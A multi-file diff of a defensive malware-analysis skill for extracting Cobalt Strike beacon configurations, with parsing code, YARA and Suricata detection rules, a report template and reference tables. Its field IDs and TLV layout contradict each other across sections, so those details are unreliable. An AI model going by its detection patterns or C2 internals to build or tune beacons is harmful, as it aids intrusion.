outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,388 @@
|
||||
---
|
||||
name: analyzing-cobalt-strike-beacon-configuration
|
||||
description: Extract and analyze Cobalt Strike beacon configuration from PE files
|
||||
and memory dumps to identify C2 infrastructure, malleable profiles, and operator
|
||||
tradecraft.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- cobalt-strike
|
||||
- beacon
|
||||
- c2
|
||||
- malware-analysis
|
||||
- config-extraction
|
||||
- threat-hunting
|
||||
- red-team-tools
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1071.001
|
||||
- T1573.001
|
||||
- T1090.004
|
||||
- T1105
|
||||
- T1027
|
||||
---
|
||||
# Analyzing Cobalt Strike Beacon Configuration
|
||||
|
||||
## Overview
|
||||
|
||||
Cobalt Strike is a commercial adversary simulation tool widely abused by threat actors for post-exploitation operations. Beacon payloads contain embedded configuration data that reveals C2 server addresses, communication protocols, sleep intervals, jitter values, malleable C2 profile settings, watermark identifiers, and encryption keys. Extracting this configuration from PE files, shellcode, or memory dumps is critical for incident responders to map attacker infrastructure and attribute campaigns. The beacon configuration is XOR-encoded using a single byte (0x69 for version 3, 0x2e for version 4) and stored in a Type-Length-Value (TLV) format within the .data section.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing cobalt strike beacon configuration
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `dissect.cobaltstrike`, `pefile`, `yara-python`
|
||||
- SentinelOne CobaltStrikeParser (`parse_beacon_config.py`)
|
||||
- Hex editor (010 Editor, HxD) for manual inspection
|
||||
- Understanding of PE file format and XOR encoding
|
||||
- Memory dump acquisition tools (Volatility3, WinDbg)
|
||||
- Network analysis tools (Wireshark) for C2 traffic correlation
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Beacon Configuration Structure
|
||||
|
||||
Cobalt Strike beacons store their configuration as a blob of TLV (Type-Length-Value) entries within the .data section of the PE. Stageless beacons XOR the entire beacon code with a 4-byte key. The configuration blob itself uses a single-byte XOR key. Each TLV entry contains a 2-byte type identifier (e.g., 0x0001 for BeaconType, 0x0008 for C2Server), a 2-byte length, and variable-length data.
|
||||
|
||||
### Malleable C2 Profiles
|
||||
|
||||
The beacon configuration encodes the malleable C2 profile that dictates HTTP request/response transformations, including URI paths, headers, metadata encoding (Base64, NetBIOS), and data transforms. Analyzing these settings reveals how the beacon disguises its traffic to blend with legitimate web traffic.
|
||||
|
||||
### Watermark and License Identification
|
||||
|
||||
Each Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Extract Configuration with CobaltStrikeParser
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Extract Cobalt Strike beacon config from PE or memory dump."""
|
||||
import sys
|
||||
import json
|
||||
|
||||
# Using SentinelOne's CobaltStrikeParser
|
||||
# pip install dissect.cobaltstrike
|
||||
from dissect.cobaltstrike.beacon import BeaconConfig
|
||||
|
||||
def extract_beacon_config(filepath):
|
||||
"""Parse beacon configuration from file."""
|
||||
configs = list(BeaconConfig.from_path(filepath))
|
||||
|
||||
if not configs:
|
||||
print(f"[-] No beacon configuration found in {filepath}")
|
||||
return None
|
||||
|
||||
for i, config in enumerate(configs):
|
||||
print(f"\n[+] Beacon Configuration #{i+1}")
|
||||
print(f"{'='*60}")
|
||||
|
||||
settings = config.as_dict()
|
||||
|
||||
# Critical fields for incident response
|
||||
critical_fields = [
|
||||
"SETTING_C2_REQUEST",
|
||||
"SETTING_C2_RECOVER",
|
||||
"SETTING_PUBKEY",
|
||||
"SETTING_DOMAINS",
|
||||
"SETTING_BEACONTYPE",
|
||||
"SETTING_PORT",
|
||||
"SETTING_SLEEPTIME",
|
||||
"SETTING_JITTER",
|
||||
"SETTING_MAXGET",
|
||||
"SETTING_SPAWNTO_X86",
|
||||
"SETTING_SPAWNTO_X64",
|
||||
"SETTING_PIPENAME",
|
||||
"SETTING_WATERMARK",
|
||||
"SETTING_C2_VERB_GET",
|
||||
"SETTING_C2_VERB_POST",
|
||||
"SETTING_USERAGENT",
|
||||
"SETTING_PROTOCOL",
|
||||
]
|
||||
|
||||
for field in critical_fields:
|
||||
value = settings.get(field, "N/A")
|
||||
print(f" {field}: {value}")
|
||||
|
||||
return settings
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def extract_c2_indicators(config):
|
||||
"""Extract actionable C2 indicators from beacon config."""
|
||||
indicators = {
|
||||
"c2_domains": [],
|
||||
"c2_ips": [],
|
||||
"c2_urls": [],
|
||||
"user_agent": "",
|
||||
"named_pipes": [],
|
||||
"spawn_processes": [],
|
||||
"watermark": "",
|
||||
}
|
||||
|
||||
if not config:
|
||||
return indicators
|
||||
|
||||
# Extract C2 domains
|
||||
domains = config.get("SETTING_DOMAINS", "")
|
||||
if domains:
|
||||
for domain in str(domains).split(","):
|
||||
domain = domain.strip().rstrip("/")
|
||||
if domain:
|
||||
indicators["c2_domains"].append(domain)
|
||||
|
||||
# Extract user agent
|
||||
indicators["user_agent"] = str(config.get("SETTING_USERAGENT", ""))
|
||||
|
||||
# Extract named pipes
|
||||
pipe = config.get("SETTING_PIPENAME", "")
|
||||
if pipe:
|
||||
indicators["named_pipes"].append(str(pipe))
|
||||
|
||||
# Extract spawn-to processes
|
||||
for arch in ["SETTING_SPAWNTO_X86", "SETTING_SPAWNTO_X64"]:
|
||||
proc = config.get(arch, "")
|
||||
if proc:
|
||||
indicators["spawn_processes"].append(str(proc))
|
||||
|
||||
# Extract watermark
|
||||
indicators["watermark"] = str(config.get("SETTING_WATERMARK", ""))
|
||||
|
||||
return indicators
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <beacon_file_or_dump>")
|
||||
sys.exit(1)
|
||||
|
||||
config = extract_beacon_config(sys.argv[1])
|
||||
if config:
|
||||
indicators = extract_c2_indicators(config)
|
||||
print(f"\n[+] Extracted C2 Indicators:")
|
||||
print(json.dumps(indicators, indent=2))
|
||||
```
|
||||
|
||||
### Step 2: Manual XOR Decryption of Beacon Config
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
def find_and_decrypt_config(data):
|
||||
"""Manually locate and decrypt beacon configuration."""
|
||||
# Cobalt Strike 4.x uses 0x2e as XOR key
|
||||
xor_keys = [0x2e, 0x69] # v4, v3
|
||||
|
||||
for xor_key in xor_keys:
|
||||
# Search for the config magic bytes after XOR
|
||||
# Config starts with 0x0001 (BeaconType) XOR'd with key
|
||||
magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,
|
||||
0x00 ^ xor_key, 0x02 ^ xor_key])
|
||||
|
||||
offset = data.find(magic)
|
||||
if offset == -1:
|
||||
continue
|
||||
|
||||
print(f"[+] Found config at offset 0x{offset:x} (XOR key: 0x{xor_key:02x})")
|
||||
|
||||
# Decrypt the config blob (typically 4096 bytes)
|
||||
config_size = 4096
|
||||
encrypted = data[offset:offset + config_size]
|
||||
decrypted = bytes([b ^ xor_key for b in encrypted])
|
||||
|
||||
# Parse TLV entries
|
||||
entries = parse_tlv(decrypted)
|
||||
return entries
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def parse_tlv(data):
|
||||
"""Parse Type-Length-Value configuration entries."""
|
||||
entries = {}
|
||||
offset = 0
|
||||
|
||||
# TLV field type mapping
|
||||
field_names = {
|
||||
0x0001: "BeaconType",
|
||||
0x0002: "Port",
|
||||
0x0003: "SleepTime",
|
||||
0x0004: "MaxGetSize",
|
||||
0x0005: "Jitter",
|
||||
0x0006: "MaxDNS",
|
||||
0x0007: "Deprecated_PublicKey",
|
||||
0x0008: "C2Server",
|
||||
0x0009: "UserAgent",
|
||||
0x000a: "PostURI",
|
||||
0x000b: "Malleable_C2_Instructions",
|
||||
0x000c: "Deprecated_HttpGet_Metadata",
|
||||
0x000d: "SpawnTo_x86",
|
||||
0x000e: "SpawnTo_x64",
|
||||
0x000f: "CryptoScheme",
|
||||
0x001a: "Watermark",
|
||||
0x001d: "C2_HostHeader",
|
||||
0x0024: "PipeName",
|
||||
0x0025: "Year",
|
||||
0x0026: "Month",
|
||||
0x0027: "Day",
|
||||
0x0036: "ProxyHostname",
|
||||
}
|
||||
|
||||
while offset + 6 <= len(data):
|
||||
entry_type = struct.unpack(">H", data[offset:offset+2])[0]
|
||||
entry_len_type = struct.unpack(">H", data[offset+2:offset+4])[0]
|
||||
entry_len = struct.unpack(">H", data[offset+4:offset+6])[0]
|
||||
|
||||
if entry_type == 0:
|
||||
break
|
||||
|
||||
value_start = offset + 6
|
||||
value_end = value_start + entry_len
|
||||
value_data = data[value_start:value_end]
|
||||
|
||||
field_name = field_names.get(entry_type, f"Unknown_0x{entry_type:04x}")
|
||||
|
||||
if entry_len_type == 1: # Short
|
||||
value = struct.unpack(">H", value_data[:2])[0]
|
||||
elif entry_len_type == 2: # Int
|
||||
value = struct.unpack(">I", value_data[:4])[0]
|
||||
elif entry_len_type == 3: # String/Blob
|
||||
value = value_data.rstrip(b'\x00').decode('utf-8', errors='replace')
|
||||
else:
|
||||
value = value_data.hex()
|
||||
|
||||
entries[field_name] = value
|
||||
print(f" {field_name}: {value}")
|
||||
|
||||
offset = value_end
|
||||
|
||||
return entries
|
||||
```
|
||||
|
||||
### Step 3: YARA Rule for Beacon Detection
|
||||
|
||||
```python
|
||||
import yara
|
||||
|
||||
cobalt_strike_rule = """
|
||||
rule CobaltStrike_Beacon_Config {
|
||||
meta:
|
||||
description = "Detects Cobalt Strike beacon configuration"
|
||||
author = "Malware Analysis Team"
|
||||
date = "2025-01-01"
|
||||
|
||||
strings:
|
||||
// XOR'd config marker for CS 4.x (key 0x2e)
|
||||
$config_v4 = { 2e 2f 2e 2c }
|
||||
|
||||
// XOR'd config marker for CS 3.x (key 0x69)
|
||||
$config_v3 = { 69 68 69 6b }
|
||||
|
||||
// Common beacon strings
|
||||
$str_pipe = "\\\\.\\pipe\\" ascii wide
|
||||
$str_beacon = "beacon" ascii nocase
|
||||
$str_sleeptime = "sleeptime" ascii nocase
|
||||
|
||||
// Reflective loader pattern
|
||||
$reflective = { 4D 5A 41 52 55 48 89 E5 }
|
||||
|
||||
condition:
|
||||
($config_v4 or $config_v3) or
|
||||
(2 of ($str_*) and $reflective)
|
||||
}
|
||||
"""
|
||||
|
||||
def scan_for_beacons(filepath):
|
||||
"""Scan file with YARA rules for Cobalt Strike beacons."""
|
||||
rules = yara.compile(source=cobalt_strike_rule)
|
||||
matches = rules.match(filepath)
|
||||
|
||||
for match in matches:
|
||||
print(f"[+] YARA Match: {match.rule}")
|
||||
for string_match in match.strings:
|
||||
offset = string_match.instances[0].offset
|
||||
print(f" String: {string_match.identifier} at offset 0x{offset:x}")
|
||||
|
||||
return matches
|
||||
```
|
||||
|
||||
### Step 4: Network Traffic Correlation
|
||||
|
||||
```python
|
||||
from dissect.cobaltstrike.c2 import HttpC2Config
|
||||
|
||||
def analyze_c2_profile(beacon_config):
|
||||
"""Analyze malleable C2 profile from beacon configuration."""
|
||||
print("\n[+] Malleable C2 Profile Analysis")
|
||||
print("=" * 60)
|
||||
|
||||
# HTTP GET configuration
|
||||
get_verb = beacon_config.get("SETTING_C2_VERB_GET", "GET")
|
||||
get_uri = beacon_config.get("SETTING_C2_REQUEST", "")
|
||||
print(f"\n HTTP GET Request:")
|
||||
print(f" Verb: {get_verb}")
|
||||
print(f" URI: {get_uri}")
|
||||
|
||||
# HTTP POST configuration
|
||||
post_verb = beacon_config.get("SETTING_C2_VERB_POST", "POST")
|
||||
post_uri = beacon_config.get("SETTING_C2_POSTREQ", "")
|
||||
print(f"\n HTTP POST Request:")
|
||||
print(f" Verb: {post_verb}")
|
||||
print(f" URI: {post_uri}")
|
||||
|
||||
# User Agent
|
||||
ua = beacon_config.get("SETTING_USERAGENT", "")
|
||||
print(f"\n User-Agent: {ua}")
|
||||
|
||||
# Host header
|
||||
host = beacon_config.get("SETTING_C2_HOSTHEADER", "")
|
||||
print(f" Host Header: {host}")
|
||||
|
||||
# Sleep and jitter for traffic pattern
|
||||
sleep_ms = beacon_config.get("SETTING_SLEEPTIME", 60000)
|
||||
jitter = beacon_config.get("SETTING_JITTER", 0)
|
||||
print(f"\n Sleep Time: {sleep_ms}ms")
|
||||
print(f" Jitter: {jitter}%")
|
||||
|
||||
# Generate Suricata/Snort signatures
|
||||
print(f"\n[+] Suggested Network Signatures:")
|
||||
if ua:
|
||||
print(f' alert http any any -> any any (msg:"CS Beacon UA"; '
|
||||
f'content:"{ua}"; http_user_agent; sid:1000001; rev:1;)')
|
||||
if get_uri:
|
||||
print(f' alert http any any -> any any (msg:"CS Beacon URI"; '
|
||||
f'content:"{get_uri}"; http_uri; sid:1000002; rev:1;)')
|
||||
```
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- Beacon configuration successfully extracted from PE file or memory dump
|
||||
- C2 server domains/IPs correctly identified with port and protocol
|
||||
- Malleable C2 profile parameters decoded showing HTTP transforms
|
||||
- Watermark value extracted for attribution correlation
|
||||
- Sleep time and jitter values match observed network beacon intervals
|
||||
- YARA rules detect beacon in both packed and unpacked samples
|
||||
- Network signatures generated from extracted C2 profile
|
||||
|
||||
## References
|
||||
|
||||
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
|
||||
- [dissect.cobaltstrike Library](https://github.com/fox-it/dissect.cobaltstrike)
|
||||
- [SentinelLabs Beacon Configuration Analysis](https://www.sentinelone.com/labs/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/)
|
||||
- [Cobalt Strike Staging and Config Extraction](https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode)
|
||||
- [MITRE ATT&CK - Cobalt Strike S0154](https://attack.mitre.org/software/S0154/)
|
||||
@@ -0,0 +1,95 @@
|
||||
# Cobalt Strike Beacon Analysis Report Template
|
||||
|
||||
## Report Metadata
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Report ID | CS-BEACON-YYYY-NNNN |
|
||||
| Date | YYYY-MM-DD |
|
||||
| Sample Hash (SHA-256) | |
|
||||
| Classification | TLP:AMBER |
|
||||
| Analyst | |
|
||||
|
||||
## Beacon Configuration Summary
|
||||
|
||||
| Setting | Value |
|
||||
|---------|-------|
|
||||
| Beacon Type | HTTP / HTTPS / SMB / DNS |
|
||||
| C2 Server(s) | |
|
||||
| Port | |
|
||||
| Sleep Time | ms |
|
||||
| Jitter | % |
|
||||
| User-Agent | |
|
||||
| Watermark | |
|
||||
| SpawnTo (x86) | |
|
||||
| SpawnTo (x64) | |
|
||||
| Named Pipe | |
|
||||
| Host Header | |
|
||||
| Crypto Scheme | |
|
||||
|
||||
## C2 Infrastructure
|
||||
|
||||
| Indicator | Type | Value | Context |
|
||||
|-----------|------|-------|---------|
|
||||
| C2 Domain | domain | | Primary callback |
|
||||
| C2 IP | ip | | Resolved address |
|
||||
| URI Path (GET) | uri | | Beacon check-in |
|
||||
| URI Path (POST) | uri | | Data exfiltration |
|
||||
|
||||
## Malleable C2 Profile
|
||||
|
||||
### HTTP GET Configuration
|
||||
| Parameter | Value |
|
||||
|-----------|-------|
|
||||
| URI | |
|
||||
| Verb | |
|
||||
| Headers | |
|
||||
| Metadata Encoding | |
|
||||
|
||||
### HTTP POST Configuration
|
||||
| Parameter | Value |
|
||||
|-----------|-------|
|
||||
| URI | |
|
||||
| Verb | |
|
||||
| ID Encoding | |
|
||||
| Output Encoding | |
|
||||
|
||||
## Watermark Attribution
|
||||
|
||||
| Watermark | Known Association | Confidence |
|
||||
|-----------|------------------|------------|
|
||||
| | Cracked / Licensed / Threat Actor | High/Med/Low |
|
||||
|
||||
## Network Detection Signatures
|
||||
|
||||
```
|
||||
# Suricata signature for beacon C2 traffic
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (
|
||||
msg:"Cobalt Strike Beacon C2 Communication";
|
||||
content:"[USER_AGENT]"; http_user_agent;
|
||||
content:"[URI_PATH]"; http_uri;
|
||||
sid:1000001; rev:1;
|
||||
)
|
||||
```
|
||||
|
||||
## YARA Detection Rule
|
||||
|
||||
```yara
|
||||
rule CobaltStrike_Beacon_[CAMPAIGN] {
|
||||
meta:
|
||||
description = "Detects Cobalt Strike beacon from [CAMPAIGN]"
|
||||
hash = "[SHA256]"
|
||||
strings:
|
||||
$c2 = "[C2_DOMAIN]" ascii
|
||||
$pipe = "[NAMED_PIPE]" ascii
|
||||
$ua = "[USER_AGENT]" ascii
|
||||
condition:
|
||||
2 of them
|
||||
}
|
||||
```
|
||||
|
||||
## Recommendations
|
||||
|
||||
1. **Block**: Add C2 domains/IPs to firewall deny lists
|
||||
2. **Hunt**: Search for named pipe and spawn-to process in endpoint logs
|
||||
3. **Detect**: Deploy YARA and network signatures to detection stack
|
||||
4. **Correlate**: Check watermark against threat intelligence databases
|
||||
@@ -0,0 +1,112 @@
|
||||
# API Reference: Cobalt Strike Beacon Configuration Analysis
|
||||
|
||||
## Beacon Config TLV Format
|
||||
|
||||
### Structure
|
||||
```
|
||||
[Field ID: 2 bytes][Type: 2 bytes][Value: variable]
|
||||
Type 1 = short (2 bytes), Type 2 = int (4 bytes), Type 3 = string/blob (2-byte length + data)
|
||||
```
|
||||
|
||||
### XOR Encoding
|
||||
| Version | XOR Key |
|
||||
|---------|---------|
|
||||
| CS 3.x | `0x69` |
|
||||
| CS 4.x | `0x2E` |
|
||||
|
||||
### Key Configuration Fields
|
||||
| ID | Name | Description |
|
||||
|----|------|-------------|
|
||||
| 1 | BeaconType | 0=HTTP, 1=Hybrid, 2=SMB, 8=HTTPS |
|
||||
| 2 | Port | C2 communication port |
|
||||
| 3 | SleepTime | Beacon interval (ms) |
|
||||
| 5 | Jitter | Random sleep variation (%) |
|
||||
| 7 | PublicKey | RSA public key for encryption |
|
||||
| 8 | C2Server | Command and control server(s) |
|
||||
| 9 | UserAgent | HTTP User-Agent string |
|
||||
| 10 | PostURI | POST callback URI |
|
||||
| 37 | Watermark | License watermark (operator ID) |
|
||||
| 54 | PipeName | Named pipe for SMB beacons |
|
||||
|
||||
## 1768.py (Didier Stevens) - Config Extractor
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
python 1768.py <beacon_file> # Extract config
|
||||
python 1768.py -j <beacon_file> # JSON output
|
||||
python 1768.py -r <beacon_file> # Raw config dump
|
||||
```
|
||||
|
||||
## CobaltStrikeParser (SentinelOne)
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
python parse_beacon_config.py <file>
|
||||
python parse_beacon_config.py --json <file>
|
||||
```
|
||||
|
||||
### Output Fields
|
||||
```
|
||||
BeaconType: HTTPS
|
||||
Port: 443
|
||||
SleepTime: 60000
|
||||
Jitter: 37
|
||||
C2Server: update.microsoft-cdn.com,/api/v2
|
||||
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
||||
Watermark: 305419896
|
||||
SpawnToX86: %windir%\syswow64\dllhost.exe
|
||||
SpawnToX64: %windir%\sysnative\dllhost.exe
|
||||
```
|
||||
|
||||
## JARM Fingerprinting
|
||||
|
||||
### Cobalt Strike Default JARM
|
||||
```bash
|
||||
# Default CS JARM hash (pre-4.7)
|
||||
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
|
||||
|
||||
# Scan with JARM
|
||||
python jarm.py <target_ip> -p 443
|
||||
```
|
||||
|
||||
## Known Watermark Values
|
||||
| Watermark | Attribution |
|
||||
|-----------|------------|
|
||||
| 0 | Trial/cracked version |
|
||||
| 305419896 | Common cracked version |
|
||||
| 1359593325 | Known threat actor toolkit |
|
||||
| 1580103824 | Known APT usage |
|
||||
|
||||
## Detection Signatures
|
||||
|
||||
### Suricata
|
||||
```
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (
|
||||
msg:"ET MALWARE Cobalt Strike Beacon";
|
||||
content:"/submit.php"; http_uri;
|
||||
content:"Cookie:"; http_header;
|
||||
pcre:"/Cookie:\s[A-Za-z0-9+/=]{60,}/H";
|
||||
sid:2028591; rev:1;)
|
||||
```
|
||||
|
||||
### YARA
|
||||
```yara
|
||||
rule CobaltStrike_Beacon {
|
||||
strings:
|
||||
$config_v3 = { 00 01 00 01 00 02 ?? ?? 00 01 00 02 }
|
||||
$magic = "MSSE-%d-server"
|
||||
$pipe = "\\\\.\\pipe\\msagent_"
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and any of them
|
||||
}
|
||||
```
|
||||
|
||||
## Malleable C2 Profile Elements
|
||||
| Element | Description |
|
||||
|---------|-------------|
|
||||
| `http-get` | GET request profile (URI, headers, metadata transform) |
|
||||
| `http-post` | POST request profile (URI, body transform) |
|
||||
| `set sleeptime` | Default beacon interval |
|
||||
| `set jitter` | Randomization percentage |
|
||||
| `set useragent` | HTTP User-Agent |
|
||||
| `set pipename` | SMB named pipe name |
|
||||
@@ -0,0 +1,94 @@
|
||||
# Standards and Frameworks Reference
|
||||
|
||||
## Cobalt Strike Beacon Configuration Fields
|
||||
|
||||
### Configuration TLV Types
|
||||
| Type ID | Field Name | Data Type | Description |
|
||||
|---------|-----------|-----------|-------------|
|
||||
| 0x0001 | BeaconType | Short | 0=HTTP, 1=Hybrid HTTP/DNS, 8=HTTPS, 10=TCP Bind |
|
||||
| 0x0002 | Port | Short | C2 communication port |
|
||||
